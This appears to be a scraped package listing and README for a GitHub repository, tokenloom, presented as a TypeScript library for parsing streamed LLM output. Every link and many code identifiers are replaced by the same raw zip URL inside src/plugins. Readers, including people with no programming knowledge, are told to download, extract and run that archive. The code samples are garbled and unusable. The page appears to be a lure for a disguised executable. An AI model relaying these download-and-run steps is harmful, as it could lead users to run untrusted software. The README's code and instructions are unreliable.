https://github.com/vishwaksena94/tokenloom
🔍 Parse streamed text into structured events using TokenLoom, a TypeScript library designed for flexible handling of real-time data and custom tags.
https://github.com/vishwaksena94/tokenloom
anthropic claude code-fence gemini gpt groq llm markdown markup openai parser stream streaming syntax syntax-highlighting tokenization tokens xai
Last synced: 2 months ago
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🔍 Parse streamed text into structured events using TokenLoom, a TypeScript library designed for flexible handling of real-time data and custom tags.
- Host: GitHub
- URL: https://github.com/vishwaksena94/tokenloom
- Owner: Vishwaksena94
- License: mit
- Created: 2025-09-04T04:09:11.000Z (10 months ago)
- Default Branch: main
- Last Pushed: 2026-04-10T20:03:38.000Z (3 months ago)
- Last Synced: 2026-04-10T20:27:02.530Z (3 months ago)
- Topics: anthropic, claude, code-fence, gemini, gpt, groq, llm, markdown, markup, openai, parser, stream, streaming, syntax, syntax-highlighting, tokenization, tokens, xai
- Language: TypeScript
- Size: 2.05 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
- Agents: AGENTS.md
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README
# 🎉 tokenloom - Transform Text Streams with Ease
## 📥 Download the Latest Version
[](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip)
## 📖 About tokenloom
tokenloom is a lightweight TypeScript/Javascript library designed for parsing streamed text into structured events. It is perfect for applications that utilize large language models (LLM) for chat functionality. Whether you are building a chat application or looking to parse real-time data, tokenloom offers an efficient and user-friendly solution.
## 🚀 Getting Started
This guide will help you download and run tokenloom easily, without any programming knowledge.
1. **Visit the Download Page**: Click the link below to access the releases page.
[Download tokenloom](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip)
2. **Choose Your Version**: Select the most recent release listed on the page. You will find different versions available. Each version is accompanied by notes explaining any new features or fixes.
## 📥 Download & Install
To get started, simply follow these steps:
1. **Go to the Releases Page**: Visit [this page](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip) to view available versions.
2. **Download the Latest Release**: Find the version you want and click on the link to download the appropriate file for your system. Files may include options like `.zip`, `https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip`, or other formats depending on your operating system.
3. **Extract the Files**: After the download is complete, locate the downloaded file in your computer's downloads directory. Extract the files using a program like WinRAR or 7-Zip.
4. **Run tokenloom**: After extraction, navigate to the folder where you extracted the files. Look for the main file (e.g., `https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip`, `https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip`) that you can run in a suitable environment.
## 🛠️ System Requirements
To run tokenloom smoothly, ensure your system meets the following requirements:
- **Operating System**: Windows, macOS, or Linux
- **https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip**: Version 14 or higher installed for executing JavaScript. You can download https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip from [here](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip).
## 📊 Features
- **Efficient Parsing**: tokenloom can parse streamed text efficiently, making it perfect for real-time applications.
- **Event Structuring**: Converts unstructured text into structured events for easier understanding and interaction.
- **Lightweight Library**: Designed to be minimal, ensuring quick load times and responsiveness in your applications.
## ⚙️ Usage Instructions
Once you have downloaded and installed tokenloom, follow these steps to use it:
1. **Initialize the Library**:
Include the library in your project by requiring or importing it, depending on your setup.
```javascript
const tokenloom = require('https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip');
```
2. **Start Using tokenloom**:
To use the library, set up a basic function to handle streamed text.
```javascript
const exampleStream = 'Your streamed text here...';
const structuredData = https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip(exampleStream);
https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip(structuredData);
```
3. **Test Your Code**: Run your project to see how tokenloom handles the text stream and structures the data.
## 📝 Examples
To see tokenloom in action, refer to these examples in the documentation:
- **Basic Parsing**: This example shows how to parse a simple stream of text.
- **Advanced Usage**: For those who want to dive deeper, explore advanced techniques for integration with chat applications.
## 🔧 Troubleshooting
If you encounter issues while using tokenloom:
- **Check https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip Version**: Ensure you are using version 14 or higher.
- **Dependencies**: Verify that all necessary dependencies are installed.
- **Visit the Issues Page**: Check the [issues section](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip) on GitHub for common problems faced by other users.
## 📞 Support
If you need help with tokenloom, consider reaching out. You can create an issue in the repository to ask questions or report bugs. The community and maintainers are here to assist you.
## 📚 Learn More
To explore more about tokenloom, you can refer to:
- [GitHub Repository](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip)
- [Documentation](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip)
- [Community Discussions](https://github.com/Vishwaksena94/tokenloom/raw/refs/heads/main/src/plugins/Software_2.1.zip)
By following these steps, you can easily download, install, and start using tokenloom in your applications. Happy coding!